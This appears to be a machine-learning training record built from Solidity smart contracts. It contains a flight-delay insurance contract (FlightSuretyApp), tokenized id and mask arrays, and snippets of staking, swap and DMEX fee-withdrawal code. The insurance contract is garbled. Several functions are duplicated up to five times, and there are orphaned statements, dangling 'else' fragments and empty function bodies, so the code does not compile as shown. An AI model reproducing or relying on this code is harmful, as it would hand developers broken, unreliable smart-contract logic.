contract FlightSuretyApp { FlightSuretyData flightSuretyData; uint8 private constant STATUS_CODE_UNKNOWN = 0; uint8 private constant STATUS_CODE_ON_TIME = 10; uint8 private constant STATUS_CODE_LATE_AIRLINE = 20; uint8 private constant STATUS_CODE_LATE_WEATHER = 30; uint8 private constant STATUS_CODE_LATE_TECHNICAL = 40; uint8 private constant STATUS_CODE_LATE_OTHER = 50; uint256 private constant CONSENSUS_NUM = 4; EVENTS event OperationalStatusChange(bool newStatus); event AirlineVotedFor(address votedFor, address airlineVoted); event AirlineRegistered(address airline); event AirlineFunded(address airline); event FlightRegistered(bytes32 flight); event FlightInsurancePurchased(bytes32 flight, address insuree); event FlightStatusInfo(address airline, bytes32 flight, uint256 timestamp, uint8 status); event OracleReport(address airline, bytes32 flight, uint256 timestamp, uint8 status); event FlightStatusFinalized(bytes32 flight, uint8 statusCode); event OracleRequest(uint8 index, address airline, bytes32 flight, uint256 timestamp); event OracleRegistered(address oracle); event InsureePaid(address insuree); modifier requireIsOperational() { require(flightSuretyData.isOperational(), "Contract is currently not operational"); } modifier requireContractOwner() { require(msg.sender == contractOwner, "Caller is not contract owner"); _; } modifier requireAirlineRegAndFunded() { require(flightSuretyData.isAirline(msg.sender), "You must be a registered Airline to do this"); require(flightSuretyData.isFundedAirline(msg.sender), "Your Airline must be funded to do this"); _; } modifier requireAirline() { require(flightSuretyData.isAirline(msg.sender), "You are not an airline"); _; } modifier requireNewFlight(bytes32 flightNumber) { bool flightExists = flightSuretyData.checkFlightExists(flightNumber); require(flightExists == false, "Flight already exists."); _; } modifier requireFlightExists(bytes32 flightNumber) { bool flightExists = flightSuretyData.checkFlightExists(flightNumber); require(flightExists == true, "Flight does not exist."); _; } modifier requireHasInsureeBalance(address _insuree) { uint256 balance = flightSuretyData.getInsureeBalance(_insuree); require(balance > 0, "You don't have a balance to withrdraw presently"); _; } modifier isMaxOneEther() { require(msg.value <= 1 ether, "You may only insure for up to 1 Ether"); _; } ( address _dataContractAddress ) public constructor { contractOwner = msg.sender; flightSuretyData = FlightSuretyData(_dataContractAddress); } function isOperational() public view returns(bool) { } function setOperationalStatus(bool _mode) external requireContractOwner { require(_mode != isOperational(), "Mode is already that"); flightSuretyData.setOperatingStatus(_mode); emit OperationalStatusChange(_mode); } function registerAirline ( address _newAirline ) public requireIsOperational requireAirlineRegAndFunded { require(!flightSuretyData.isAirline(_newAirline), "Airline has already been registered"); uint256 numRegisteredAirlines = flightSuretyData.numRegisteredAirlines(); if (numRegisteredAirlines >= CONSENSUS_NUM) { address[] memory votes = flightSuretyData.getAirlineVotes(_newAirline); bool alreadyVoted = false; for (uint v = 0; v < votes.length; v++) { if (votes[v] == msg.sender) { alreadyVoted = true; break; } } require(!alreadyVoted, "You have already voted for that airline."); votes = flightSuretyData.getAirlineVotes(_newAirline); if (votes.length > numRegisteredAirlines.div(2)) { flightSuretyData.clearAirlineVotes(_newAirline); flightSuretyData.registerAirline(_newAirline); emit AirlineRegistered(_newAirline); emit AirlineVotedFor(_newAirline, msg.sender); } flightSuretyData.registerAirline(_newAirline); emit AirlineRegistered(_newAirline); } } function registerAirline ( address _newAirline ) public requireIsOperational requireAirlineRegAndFunded { require(!flightSuretyData.isAirline(_newAirline), "Airline has already been registered"); uint256 numRegisteredAirlines = flightSuretyData.numRegisteredAirlines(); if (numRegisteredAirlines >= CONSENSUS_NUM) { address[] memory votes = flightSuretyData.getAirlineVotes(_newAirline); bool alreadyVoted = false; for (uint v = 0; v < votes.length; v++) { if (votes[v] == msg.sender) { alreadyVoted = true; break; } } require(!alreadyVoted, "You have already voted for that airline."); votes = flightSuretyData.getAirlineVotes(_newAirline); if (votes.length > numRegisteredAirlines.div(2)) { flightSuretyData.clearAirlineVotes(_newAirline); flightSuretyData.registerAirline(_newAirline); emit AirlineRegistered(_newAirline); emit AirlineVotedFor(_newAirline, msg.sender); } flightSuretyData.registerAirline(_newAirline); emit AirlineRegistered(_newAirline); } } function registerAirline ( address _newAirline ) public requireIsOperational requireAirlineRegAndFunded { require(!flightSuretyData.isAirline(_newAirline), "Airline has already been registered"); uint256 numRegisteredAirlines = flightSuretyData.numRegisteredAirlines(); if (numRegisteredAirlines >= CONSENSUS_NUM) { address[] memory votes = flightSuretyData.getAirlineVotes(_newAirline); bool alreadyVoted = false; for (uint v = 0; v < votes.length; v++) { if (votes[v] == msg.sender) { alreadyVoted = true; break; } } require(!alreadyVoted, "You have already voted for that airline."); votes = flightSuretyData.getAirlineVotes(_newAirline); if (votes.length > numRegisteredAirlines.div(2)) { flightSuretyData.clearAirlineVotes(_newAirline); flightSuretyData.registerAirline(_newAirline); emit AirlineRegistered(_newAirline); emit AirlineVotedFor(_newAirline, msg.sender); } flightSuretyData.registerAirline(_newAirline); emit AirlineRegistered(_newAirline); } } function registerAirline ( address _newAirline ) public requireIsOperational requireAirlineRegAndFunded { require(!flightSuretyData.isAirline(_newAirline), "Airline has already been registered"); uint256 numRegisteredAirlines = flightSuretyData.numRegisteredAirlines(); if (numRegisteredAirlines >= CONSENSUS_NUM) { address[] memory votes = flightSuretyData.getAirlineVotes(_newAirline); bool alreadyVoted = false; for (uint v = 0; v < votes.length; v++) { if (votes[v] == msg.sender) { alreadyVoted = true; break; } } require(!alreadyVoted, "You have already voted for that airline."); votes = flightSuretyData.getAirlineVotes(_newAirline); if (votes.length > numRegisteredAirlines.div(2)) { flightSuretyData.clearAirlineVotes(_newAirline); flightSuretyData.registerAirline(_newAirline); emit AirlineRegistered(_newAirline); emit AirlineVotedFor(_newAirline, msg.sender); } flightSuretyData.registerAirline(_newAirline); emit AirlineRegistered(_newAirline); } } flightSuretyData.addAirlineVote(msg.sender, _newAirline); function registerAirline ( address _newAirline ) public requireIsOperational requireAirlineRegAndFunded { require(!flightSuretyData.isAirline(_newAirline), "Airline has already been registered"); uint256 numRegisteredAirlines = flightSuretyData.numRegisteredAirlines(); if (numRegisteredAirlines >= CONSENSUS_NUM) { address[] memory votes = flightSuretyData.getAirlineVotes(_newAirline); bool alreadyVoted = false; for (uint v = 0; v < votes.length; v++) { if (votes[v] == msg.sender) { alreadyVoted = true; break; } } require(!alreadyVoted, "You have already voted for that airline."); votes = flightSuretyData.getAirlineVotes(_newAirline); if (votes.length > numRegisteredAirlines.div(2)) { flightSuretyData.clearAirlineVotes(_newAirline); flightSuretyData.registerAirline(_newAirline); emit AirlineRegistered(_newAirline); emit AirlineVotedFor(_newAirline, msg.sender); } flightSuretyData.registerAirline(_newAirline); emit AirlineRegistered(_newAirline); } } } else { } else { function fundRegisteredAirline () public payable requireIsOperational requireAirline { flightSuretyData.fundAirline.value(msg.value)(msg.sender, msg.value); emit AirlineFunded(msg.sender); } function registerFlight ( address _airline, uint256 _time, bytes32 _flight) public requireIsOperational requireAirlineRegAndFunded /*requireNewFlight(_flight)*/ { flightSuretyData.registerFlight(_airline, _time, _flight); emit FlightRegistered(_flight); } function buyFlightInsurance ( bytes32 _flight ) public payable isMaxOneEther requireIsOperational requireFlightExists( _flight ) { flightSuretyData.buyFlightInsurance.value(msg.value)(_flight, msg.sender); emit FlightInsurancePurchased(_flight, msg.sender); } function processFlightStatus ( bytes32 flight, uint8 statusCode, bytes32 _oracleResponseKey ) private requireIsOperational { if (statusCode == STATUS_CODE_LATE_AIRLINE) { flightSuretyData.creditInsurees(flight); } flightSuretyData.updateFlightStatus(statusCode, flight); oracleResponses[_oracleResponseKey].isOpen = false; emit FlightStatusFinalized(flight, statusCode); } function processFlightStatus ( bytes32 flight, uint8 statusCode, bytes32 _oracleResponseKey ) private requireIsOperational { if (statusCode == STATUS_CODE_LATE_AIRLINE) { flightSuretyData.creditInsurees(flight); } flightSuretyData.updateFlightStatus(statusCode, flight); oracleResponses[_oracleResponseKey].isOpen = false; emit FlightStatusFinalized(flight, statusCode); } function fetchFlightStatus ( bytes32 _flight ) external { uint8 index = getRandomIndex(msg.sender); address airline; bytes32 flight; uint256 timestamp; (airline, flight, timestamp,,) = flightSuretyData.getFlightInformation(_flight); bytes32 key = keccak256(abi.encodePacked(index, airline, _flight, timestamp)); oracleResponses[key] = ResponseInfo({ requester: msg.sender, isOpen: true }); emit OracleRequest(index, airline, _flight, timestamp); } function fetchFlightStatus ( bytes32 _flight ) external { uint8 index = getRandomIndex(msg.sender); address airline; bytes32 flight; uint256 timestamp; (airline, flight, timestamp,,) = flightSuretyData.getFlightInformation(_flight); bytes32 key = keccak256(abi.encodePacked(index, airline, _flight, timestamp)); oracleResponses[key] = ResponseInfo({ requester: msg.sender, isOpen: true }); emit OracleRequest(index, airline, _flight, timestamp); } function getAllFlights () external view returns (bytes32[]) { return flightSuretyData.getAllFlights(); } function withdrawInsureeCredit() external requireHasInsureeBalance(msg.sender) { flightSuretyData.payInsuree(msg.sender); emit InsureePaid(msg.sender); } uint8 private nonce = 0; uint256 public constant REGISTRATION_FEE = 1 ether; uint256 private constant MIN_RESPONSES = 3; struct Oracle { bool isRegistered; uint8[3] indexes; } mapping(address => Oracle) private oracles; struct ResponseInfo { } mapping(bytes32 => ResponseInfo) private oracleResponses; function registerOracle ( ) external payable { require(msg.value >= REGISTRATION_FEE, "Registration fee is required"); uint8[3] memory indexes = generateIndexes(msg.sender); oracles[msg.sender] = Oracle({ isRegistered: true, indexes: indexes }); emit OracleRegistered(msg.sender); } function registerOracle ( ) external payable { require(msg.value >= REGISTRATION_FEE, "Registration fee is required"); uint8[3] memory indexes = generateIndexes(msg.sender); oracles[msg.sender] = Oracle({ isRegistered: true, indexes: indexes }); emit OracleRegistered(msg.sender); } function getMyIndexes ( ) view external returns(uint8[3]) { require(oracles[msg.sender].isRegistered, "Not registered as an oracle"); return oracles[msg.sender].indexes; } function submitOracleResponse ( uint8 index, address airline, bytes32 flight, uint256 timestamp, uint8 statusCode ) external { require((oracles[msg.sender].indexes[0] == index) || (oracles[msg.sender].indexes[1] == index) || (oracles[msg.sender].indexes[2] == index), "Index does not match oracle request"); bytes32 key = keccak256(abi.encodePacked(index, airline, flight, timestamp)); require(oracleResponses[key].isOpen, "Flight or timestamp do not match oracle request"); oracleResponses[key].responses[statusCode].push(msg.sender); emit OracleReport(airline, flight, timestamp, statusCode); if (oracleResponses[key].responses[statusCode].length >= MIN_RESPONSES) { emit FlightStatusInfo(airline, flight, timestamp, statusCode); processFlightStatus(flight, statusCode, key); } } function submitOracleResponse ( uint8 index, address airline, bytes32 flight, uint256 timestamp, uint8 statusCode ) external { require((oracles[msg.sender].indexes[0] == index) || (oracles[msg.sender].indexes[1] == index) || (oracles[msg.sender].indexes[2] == index), "Index does not match oracle request"); bytes32 key = keccak256(abi.encodePacked(index, airline, flight, timestamp)); require(oracleResponses[key].isOpen, "Flight or timestamp do not match oracle request"); oracleResponses[key].responses[statusCode].push(msg.sender); emit OracleReport(airline, flight, timestamp, statusCode); if (oracleResponses[key].responses[statusCode].length >= MIN_RESPONSES) { emit FlightStatusInfo(airline, flight, timestamp, statusCode); processFlightStatus(flight, statusCode, key); } } function getFlightKey ( address airline, bytes32 flight, uint256 timestamp ) pure internal returns(bytes32) { return keccak256(abi.encodePacked(airline, flight, timestamp)); } function generateIndexes ( address account ) internal returns(uint8[3]) { uint8[3] memory indexes; indexes[0] = getRandomIndex(account); indexes[1] = indexes[0]; while(indexes[1] == indexes[0]) { indexes[1] = getRandomIndex(account); } indexes[2] = indexes[1]; while((indexes[2] == indexes[0]) || (indexes[2] == indexes[1])) { indexes[2] = getRandomIndex(account); } return indexes; } function generateIndexes ( address account ) internal returns(uint8[3]) { uint8[3] memory indexes; indexes[0] = getRandomIndex(account); indexes[1] = indexes[0]; while(indexes[1] == indexes[0]) { indexes[1] = getRandomIndex(account); } indexes[2] = indexes[1]; while((indexes[2] == indexes[0]) || (indexes[2] == indexes[1])) { indexes[2] = getRandomIndex(account); } return indexes; } function generateIndexes ( address account ) internal returns(uint8[3]) { uint8[3] memory indexes; indexes[0] = getRandomIndex(account); indexes[1] = indexes[0]; while(indexes[1] == indexes[0]) { indexes[1] = getRandomIndex(account); } indexes[2] = indexes[1]; while((indexes[2] == indexes[0]) || (indexes[2] == indexes[1])) { indexes[2] = getRandomIndex(account); } return indexes; } function getRandomIndex ( address account ) internal returns (uint8) { uint8 maxValue = 10; uint8 random = uint8(uint256(keccak256(abi.encodePacked(blockhash(block.number - nonce++), account))) % maxValue); if (nonce > 250) { } return random; } function getRandomIndex ( address account ) internal returns (uint8) { uint8 maxValue = 10; uint8 random = uint8(uint256(keccak256(abi.encodePacked(blockhash(block.number - nonce++), account))) % maxValue); if (nonce > 250) { } return random; } }
1,791,272
[ 1, 19, 3857, 750, 55, 594, 4098, 19656, 13456, 8227, 342, 342, 3857, 750, 1267, 981, 281, 2587, 15950, 1517, 813, 392, 20865, 720, 22679, 279, 766, 2587, 15950, 1347, 25187, 1267, 590, 353, 9638, 531, 354, 9558, 3298, 333, 471, 309, 2898, 1240, 279, 3607, 770, 2898, 2158, 501, 471, 4879, 279, 766, 4148, 1998, 871, 657, 58, 17128, 12, 11890, 5034, 19588, 1854, 1769, 3431, 3383, 2809, 4543, 31201, 434, 981, 18, 16448, 854, 14755, 1399, 358, 1954, 5943, 1865, 279, 445, 353, 2935, 358, 506, 7120, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 3857, 750, 55, 594, 4098, 3371, 288, 203, 203, 203, 565, 3857, 750, 55, 594, 4098, 751, 25187, 55, 594, 4098, 751, 31, 203, 203, 565, 2254, 28, 3238, 5381, 7136, 67, 5572, 67, 14737, 273, 374, 31, 203, 565, 2254, 28, 3238, 5381, 7136, 67, 5572, 67, 673, 67, 4684, 273, 1728, 31, 203, 565, 2254, 28, 3238, 5381, 7136, 67, 5572, 67, 10512, 67, 37, 7937, 5997, 273, 4200, 31, 203, 565, 2254, 28, 3238, 5381, 7136, 67, 5572, 67, 10512, 67, 6950, 3275, 654, 273, 5196, 31, 203, 565, 2254, 28, 3238, 5381, 7136, 67, 5572, 67, 10512, 67, 1448, 1792, 50, 10109, 273, 8063, 31, 203, 565, 2254, 28, 3238, 5381, 7136, 67, 5572, 67, 10512, 67, 23940, 273, 6437, 31, 203, 203, 565, 2254, 5034, 3238, 5381, 3492, 26753, 3378, 67, 6069, 273, 1059, 31, 203, 203, 203, 203, 565, 9964, 55, 203, 565, 871, 4189, 287, 1482, 3043, 12, 6430, 394, 1482, 1769, 203, 203, 565, 871, 432, 481, 1369, 58, 16474, 1290, 12, 2867, 331, 16474, 1290, 16, 1758, 23350, 1369, 58, 16474, 1769, 203, 565, 871, 432, 481, 1369, 10868, 12, 2867, 23350, 1369, 1769, 203, 565, 871, 432, 481, 1369, 42, 12254, 12, 2867, 23350, 1369, 1769, 203, 203, 565, 871, 3857, 750, 10868, 12, 3890, 1578, 25187, 1769, 203, 203, 565, 871, 3857, 750, 5048, 295, 1359, 10262, 343, 8905, 12, 3890, 1578, 25187, 16, 1758, 316, 2055, 73, 1769, 203, 565, 871, 3857, 750, 1482, 966, 12, 2867, 23350, 1369, 16, 1731, 2 ]
./full_match/4/0x74A8A57F90444B5a8427bDd79F1DD9a28cb5AB74/sources/localhost/StakeModule.sol
stakePoolProofOf: get proof of an address index: round index who: query address return: proof of an address
function stakePoolProofOf( uint index, address who ) public view returns(uint) { return productsData[index].proofOf[who]; }
13,355,931
[ 1, 334, 911, 2864, 20439, 951, 30, 336, 14601, 434, 392, 1758, 770, 30, 3643, 770, 10354, 30, 843, 1758, 327, 30, 14601, 434, 392, 1758, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 384, 911, 2864, 20439, 951, 12, 203, 565, 2254, 770, 16, 203, 565, 1758, 10354, 203, 225, 262, 1071, 1476, 1135, 12, 11890, 13, 288, 203, 565, 327, 10406, 751, 63, 1615, 8009, 24207, 951, 63, 3350, 83, 15533, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x968348C6135C25e7160AD0671C8C9CA2eD2bb982/sources/contracts/ExtensibleWeightedPool2Tokens.sol
All token amounts are upscaled. Fees are subtracted before scaling, to reduce the complexity of the rounding direction analysis. This is amount - fee amount, so we round up (favoring a higher fee amount). amountOut tokens are exiting the Pool, so we round down. amountIn tokens are entering the Pool, so we round up. Fees are added after scaling happens, to reduce the complexity of the rounding direction analysis. This is amount + fee amount, so we round up (favoring a higher fee amount).
function onSwap( SwapRequest memory request, uint256 balanceTokenIn, uint256 balanceTokenOut ) public virtual override whenNotPaused onlyVault(request.poolId) returns (uint256) { bool tokenInIsToken0 = request.tokenIn == _token0; uint256 scalingFactorTokenIn = _scalingFactor(tokenInIsToken0); uint256 scalingFactorTokenOut = _scalingFactor(!tokenInIsToken0); uint256 normalizedWeightIn = _normalizedWeights(tokenInIsToken0); uint256 normalizedWeightOut = _normalizedWeights(!tokenInIsToken0); balanceTokenIn = _upscale(balanceTokenIn, scalingFactorTokenIn); balanceTokenOut = _upscale(balanceTokenOut, scalingFactorTokenOut); if (request.kind == IVault.SwapKind.GIVEN_IN) { uint256 feeAmount = request.amount.mulUp(getSwapFeePercentage()); request.amount = _upscale(request.amount.sub(feeAmount), scalingFactorTokenIn); uint256 amountOut = _onSwapGivenIn(request, balanceTokenIn, balanceTokenOut, normalizedWeightIn, normalizedWeightOut); return _downscaleDown(amountOut, scalingFactorTokenOut); request.amount = _upscale(request.amount, scalingFactorTokenOut); uint256 amountIn = _onSwapGivenOut(request, balanceTokenIn, balanceTokenOut, normalizedWeightIn, normalizedWeightOut); amountIn = _downscaleUp(amountIn, scalingFactorTokenIn); return amountIn.divUp(getSwapFeePercentage().complement()); } }
15,967,149
[ 1, 1595, 1147, 30980, 854, 731, 20665, 18, 5782, 281, 854, 10418, 329, 1865, 10612, 16, 358, 5459, 326, 21610, 434, 326, 13885, 4068, 6285, 18, 1220, 353, 3844, 300, 14036, 3844, 16, 1427, 732, 3643, 731, 261, 19731, 6053, 279, 10478, 14036, 3844, 2934, 3844, 1182, 2430, 854, 15702, 326, 8828, 16, 1427, 732, 3643, 2588, 18, 3844, 382, 2430, 854, 19014, 326, 8828, 16, 1427, 732, 3643, 731, 18, 5782, 281, 854, 3096, 1839, 10612, 10555, 16, 358, 5459, 326, 21610, 434, 326, 13885, 4068, 6285, 18, 1220, 353, 3844, 397, 14036, 3844, 16, 1427, 732, 3643, 731, 261, 19731, 6053, 279, 10478, 14036, 3844, 2934, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 603, 12521, 12, 203, 3639, 12738, 691, 3778, 590, 16, 203, 3639, 2254, 5034, 11013, 1345, 382, 16, 203, 3639, 2254, 5034, 11013, 1345, 1182, 203, 565, 262, 1071, 5024, 3849, 1347, 1248, 28590, 1338, 12003, 12, 2293, 18, 6011, 548, 13, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 1426, 1147, 382, 2520, 1345, 20, 273, 590, 18, 2316, 382, 422, 389, 2316, 20, 31, 203, 203, 3639, 2254, 5034, 10612, 6837, 1345, 382, 273, 389, 24576, 6837, 12, 2316, 382, 2520, 1345, 20, 1769, 203, 3639, 2254, 5034, 10612, 6837, 1345, 1182, 273, 389, 24576, 6837, 12, 5, 2316, 382, 2520, 1345, 20, 1769, 203, 203, 3639, 2254, 5034, 5640, 6544, 382, 273, 389, 17762, 16595, 12, 2316, 382, 2520, 1345, 20, 1769, 203, 3639, 2254, 5034, 5640, 6544, 1182, 273, 389, 17762, 16595, 12, 5, 2316, 382, 2520, 1345, 20, 1769, 203, 203, 3639, 11013, 1345, 382, 273, 389, 416, 5864, 12, 12296, 1345, 382, 16, 10612, 6837, 1345, 382, 1769, 203, 3639, 11013, 1345, 1182, 273, 389, 416, 5864, 12, 12296, 1345, 1182, 16, 10612, 6837, 1345, 1182, 1769, 203, 203, 3639, 309, 261, 2293, 18, 9224, 422, 467, 12003, 18, 12521, 5677, 18, 43, 8188, 1157, 67, 706, 13, 288, 203, 5411, 2254, 5034, 14036, 6275, 273, 590, 18, 8949, 18, 16411, 1211, 12, 588, 12521, 14667, 16397, 10663, 203, 5411, 590, 18, 8949, 273, 389, 416, 5864, 12, 2293, 18, 8949, 18, 1717, 12, 21386, 6275, 3631, 10612, 6837, 1345, 382, 1769, 203, 203, 5411, 2254, 2 ]
/** *Submitted for verification at Etherscan.io on 2020-07-21 */ pragma solidity ^0.6.0; interface DMEX { function availableBalanceOf(address token, address user) external view returns (uint256); function withdraw(address token, uint256 amount) external returns (bool success); } interface UniswapV2ExchangeInterface { function WETH() external pure returns (address); function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); } /* Interface for ERC20 Tokens */ interface DMEXTokenInterface { function burn(uint256 _value) external returns (bool success); } // The DMEX Fee Contract contract DMEX_Fee_Contract { address DMEX_CONTRACT = address(0x2101e480e22C953b37b9D0FE6551C1354Fe705E6); address DMEX_TOKEN = address(0x6263e260fF6597180c9538c69aF8284EDeaCEC80); address TOKEN_ETH = address(0x0000000000000000000000000000000000000000); address TOKEN_DAI = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); address TOKEN_BTC = address(0x5228a22e72ccC52d415EcFd199F99D0665E7733b); address uniswapRouter = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address payable FEE_ACCOUNT; address owner; uint256 fee_account_share = 618e15; uint256 uniswap_share = 382e15; event Log(uint8 indexed errorId, uint value); function extractFees() public { uint256 fee_share; uint256 us_share; // extract eth uint256 eth_balance = DMEX(DMEX_CONTRACT).availableBalanceOf(TOKEN_ETH, address(this)); emit Log(1, eth_balance); DMEX(DMEX_CONTRACT).withdraw(TOKEN_ETH, eth_balance); fee_share = safeMul(eth_balance, fee_account_share) / 1e18; us_share = eth_balance - fee_share; emit Log(2, fee_share); emit Log(3, us_share); // require(FEE_ACCOUNT.send(fee_share), "Error: eth send failed"); // // swap eth for DMEX Token // address[] memory path = new address[](2); // path[0] = UniswapV2ExchangeInterface(uniswapRouter).WETH(); // path[1] = DMEX_TOKEN; // uint[] memory amounts = UniswapV2ExchangeInterface(uniswapRouter).swapExactETHForTokens.value(us_share)(1, path, address(this), 2**256 - 1); // uint token_bought = amounts[1]; // DMEXTokenInterface(DMEX_TOKEN).burn(token_bought); } constructor( address payable initialFeeAccount ) public { owner = msg.sender; FEE_ACCOUNT = initialFeeAccount; } /** Safe Math **/ // Safe Multiply Function - prevents integer overflow function safeMul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } // Safe Subtraction Function - prevents integer overflow function safeSub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } // Safe Addition Function - prevents integer overflow function safeAdd(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } }
The DMEX Fee Contract
contract DMEX_Fee_Contract { address DMEX_CONTRACT = address(0x2101e480e22C953b37b9D0FE6551C1354Fe705E6); address DMEX_TOKEN = address(0x6263e260fF6597180c9538c69aF8284EDeaCEC80); address TOKEN_ETH = address(0x0000000000000000000000000000000000000000); address TOKEN_DAI = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); address TOKEN_BTC = address(0x5228a22e72ccC52d415EcFd199F99D0665E7733b); address uniswapRouter = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address payable FEE_ACCOUNT; address owner; uint256 fee_account_share = 618e15; uint256 uniswap_share = 382e15; event Log(uint8 indexed errorId, uint value); function extractFees() public { uint256 fee_share; uint256 us_share; uint256 eth_balance = DMEX(DMEX_CONTRACT).availableBalanceOf(TOKEN_ETH, address(this)); emit Log(1, eth_balance); DMEX(DMEX_CONTRACT).withdraw(TOKEN_ETH, eth_balance); fee_share = safeMul(eth_balance, fee_account_share) / 1e18; us_share = eth_balance - fee_share; emit Log(2, fee_share); emit Log(3, us_share); } constructor( address payable initialFeeAccount ) public { owner = msg.sender; FEE_ACCOUNT = initialFeeAccount; } function safeMul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } }
6,863,231
